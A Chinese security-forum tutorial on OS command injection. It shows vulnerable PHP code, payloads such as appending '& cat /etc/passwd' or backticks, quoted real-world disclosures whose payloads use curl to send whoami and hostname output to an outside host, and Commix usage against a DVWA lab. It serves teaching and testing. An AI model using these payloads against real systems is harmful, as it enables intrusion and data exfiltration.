命令注入和一个分享

本文作者：i春秋签约作家——夏之冰雪

系统命令注入是常见的一类漏洞，攻击者可以绕过业务本身，在服务器上执行一个或多个系统命令。

在详细介绍命令注入之前，有一点需要注意：命令注入与远程代码执行不同。他们的区别在于，远程代码执行实际上是调用服务器网站代码进行执行，而命令注入则是调用操作系统命令进行执行。 虽然最终效果都会在目标机器执行操，但是他们还是有区别的，基于这个区别，我们如何找到并利用方式也是有所不同的。

和sql注入类似，sql注入是将sql语句放到请求数据中；而命令注入，则是将操作系统命令语句放到请求数据中。sql注入，需要判断服务器实用的是哪个数据库，而命令注入则需要判断服务器的操作系统。

试想这样一个业务场景，由于需要对不同网站进行测速，可能需要对外提供一个接口，接受一个网址，返回ping的结果。那么，很有可能服务器就需要接受一个host，并调用系统ping指令。

大概的语句如下：

$target = $_REQUEST[ 'host' ];
$cmd = shell_exec( 'ping  ' . $target );

举个网址（不要测试了，没有漏洞，仅是举例）：

http://tool.zhengxianjun.com/ping

举个网址（不要测试了，没有漏洞，仅是举例）：

http://tool.zhengxianjun.com/ping

 

命令注入语句分析

对于参数host，如果我传递的是www.ichunqiu.com，那么会返回正常ping值，大概语句：

ping [url]www.baidu.com[/url]

但是如果我传递的是：

www.ichunqiu.com & cat /etc/passwd

那么服务器接受后，就不止执行ping了，还会接着执行输出/etc/passwd敏感文件的内容，因为语句如下：

ping [url]www.baidu.com[/url] & cat /etc/passwd

这里，我们已经发现：

如何构造注入语句是成功关键。

$target = $_REQUEST[ 'host' ];
$cmd = shell_exec( 'ping "' . $target . '"');

也许大家会认为很简单，直接在后面追加不就完了么，但是请看下面这个php代码：

$target = $_REQUEST[ 'host' ];
$cmd = shell_exec( 'ping "' . $target . '"');

在target两边，加了双引号，这就导致如果我们直接传递刚才的攻击语句就会失效，因为在双引号里，攻击语句变成了普通字符串。

那么，有没有办法绕过双引号呢，最简单的办法就是像sql注入那样，直接也加双引号，让前一句闭合。

但是，对于不同的业务场景，很有可能我们的变量放在了一个非常复杂的语句中，不是简单一个双引号就能闭合的。

这个时候，我们需要了解一下linux的命令执行技巧，这个技能可以让我们更加透彻地理解命令注入攻击。

• linux特殊符号的用法

在linux中，有几个符号在执行命令时非常特殊。

反引号，也叫倒引号， ` 位于键盘的Tab键的上方、1键的左方。它具有命令替换的含义，在一个命令中如果出现反引号语句，会先执行反引号里面的内容，再执行外面内容。

举例，正常情况输出一句话，这句话用双引号包起来：

$ echo "The date is date"
The date is date

如果，我将这句话里面的最后那个date用反引号扩起来，那么就会处罚执行date指令，在linux中，date代表时间含义。

$ echo "The date is `date`"
The date is 2017年 9月 1日 星期五 20时55分54秒 CST

也就是说，在攻击中，我们可以不管是否有双引号包围，直接用反引号，执行触发语句执行。

相比sql注入的严格要求，命令注入显得容易成功的多。

对于反引号，哪些情况下可以触发执行，我这里给出详细解释：

如果执行成功，系统会sleep3秒，大家可以在自己linux机器上测试。

除了这个符号，还有以下一些符号，都经常会出现在命令注入攻击中：$ 美元符号

; 分号

| 竖线

• 系统命令注入场景

在对企业进行安全测试时候，很少会发现系统注入漏洞。这是因为大部分情况下代码业务主要是数据操作、文件操作、逻辑处理和api接口调用等，很少直接使用系统命令。  

那么，都会有什么情况会调用系统命令呢？这个真不一定，有时候需要靠猜靠运气，不过代码不会无缘无故调用系统命令，细心研究还是会查到一些迹象的。比如对于图片处理、大文件压缩解压、ppt转pdf等，如果目标网站或者服务器接口提供这样的功能，一般情况下代码都会调用第三方软件，这里举几个例子：  

1. 图片加水印 

接口（为了避免出发论坛的图片转换，刻意打成了下面这个样子）:

http ：／／w ww。test。com／add_water? src=test。jp  g 

经测试，此接口会对test.jpg加水印。

猜测代码如下：

$image = $_GET("image");
exec("/use/bin/water " . "/var/www/image/" . $image);

water是系统安装的加水印程序，image是接受的参数，此时image存在命令注入的可能。

2. ppt转pdf

猜测代码如下：

<?php
$ppt = $_GET("ppt");
exec("/use/bin/ppt2pdf " . "/var/www/ppt/" . $ppt);

 和上面原理类似，ppt后面可以加命令注入攻击语句。
除了可能调用系统软件的这种情况，对于很多参数是url地址的，我们也要特别注意。如果某个程序为了省事，直接调用了系统curl命令，那么我们就可以直接注入了。再有就是ping检测功能，以及可能存在网络通讯协议、网络健康监测等功能附近，这些地方都有可能存在系统命令注入。

真实案例

列举几个乌云上关于命令注入的漏洞，供学习和参考：

1. 网易163某站点存在隐式命令注入

简要描述
网易163某站点存在隐式命令注入，可远程执行任意Linux命令。

详细说明
存在命令注入的是paopao.163.com的Referer，怀疑是某个日志分析服务的问题：

GET /search/sycProduct HTTP/1.1
Referer: $(curl h ttp://paopao3.xxxx.dnslog. info/?whoami=`whoami`)
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13D15 MicroMessenger/6.3.13 NetType/WIFI Language/en
Host: [url]www.paopao.163.co[/url] m
Accept-Encoding: gzip,deflate
Accept: */*

上面我注入了curl和whoami命令。这个地方并不会马上导致命令执行，而是每天凌晨大约0点到2点钟被执行到。

漏洞证明

如上图所示，实际上paopao3和163这个子域名都被成功打回了。

2. 搜狐某站点隐式命令注入Getshell

简要描述
搜狐某站点隐式命令注入getshell，利用HTTP request回显命令的基本方法。

详细说明
命令注入点：
[url=http://ldd.sohu.com/d/?c=c&r=$(curl http://www.lijiejie.com:52016/?hostname=`hostname`)[/url]

参数r可以注入Linux命令。上述链接是我将hostname通过curl打回web server。

DVWA靶场

DVWA有个模块较Command Injection，是专门用来练习命令注入的。

如图，Command Injection模块提供了ping的功能，输入一个指定的ip，会返回ping的具体结果。通过功能，我们可以猜测到代码用到了系统命令ping。

当我们使用攻击语句“ | pwd”时，即可查看到当前文件所在目录，如图。

这里不做深入展开，有兴趣的可以自行研究具体攻击方法。

为啥这么着急？

因为，接下来我要给大家分享神器了。。。

• Commix

对于存在命令注入的接口，我们可以利用漏洞接口操作服务器系统命令，拥有和网站相同的用户执行权限。可是每次都通过接口进行注入操作，在通过回显来查看结果，肯定很麻烦，用起来不舒服。

那么有没有什么工具，能直接通过漏洞接口，进行交互式操作呢？

这里介绍一款工具————Commix！

Commix可以帮助我们更高效的发现web应用中的命令注入攻击相关漏洞，并通过漏洞提供交互式的操作。

git网址：

https://github.com/stasinopoulos/commix

指令参数很多，具体可使用help获取，这里不再详细讲述。提供几个重要的命令：

目标：
-u URL，--url = URL　　目标URL。
 
请求：
--data=DATA　　　　　　要通过POST发送的数据字符串。
--host=HOST 　　　　　 HTTP主机头。
--referer=REFERER 　　 HTTP Referer标头。
--user-agent=AGENT 　 HTTP用户代理头。
--random-agent　　　　使用随机选择的HTTP User-Agent头。
--cookie=COOKIE 　　  HTTP Cookie头。
--headers=HEADERS　   额外标头（例如「Header1：Value1  nHeader2：Value2」）。
--force-ssl　　　　　　强制使用SSL / HTTPS。

我们用commix进行实战，直接攻击DVWA靶场。

我们用burpsuit进行网络流量截获，获取DVWA发起ping请求时的数据，主要是得到cookie：

PHPSESSID=fqdcpsua58ap7m5oshetqj3v95; security=low’ –data ‘ip=127.0.0.1&Submit=Submit&user_token=bacd8c653a2430eae025e406c0deb06d

然后启动commix，用到了–headers选项，将cookie携带进去，命令如下：

python commix.py -u [url]http://192.168.3.108/vulnerabilities/exec/[/url] --headers='Cookie: PHPSESSID=fqdcpsua58ap7m5oshetqj3v95; security=low' --data 'ip=127.0.0.1&Submit=Submit&user_token=bacd8c653a2430eae025e406c0deb06d'

看上图，大概流程如下：

1. 启动，检测版本是否最新，并提示用户是否更新。

2. 检测网址是否有重定向，是否跟随重定向。

3. 询问服务器操作系统，需要我们自行确认windows还是unix。

4. 开始批量进行注入攻击测试。

一旦发现注入漏洞，会提示用户是否进入交互式攻击场景下，选择是，就可以像操作命令行一样操作目标服务器了，非常好用，如图。

不过对于返回数据貌似没有换行，不是很美观，比如这里的ps aux，每个进程都挤到一起了。

总的来说，在命令注入测试中，commix是一款不错的安全检测工具。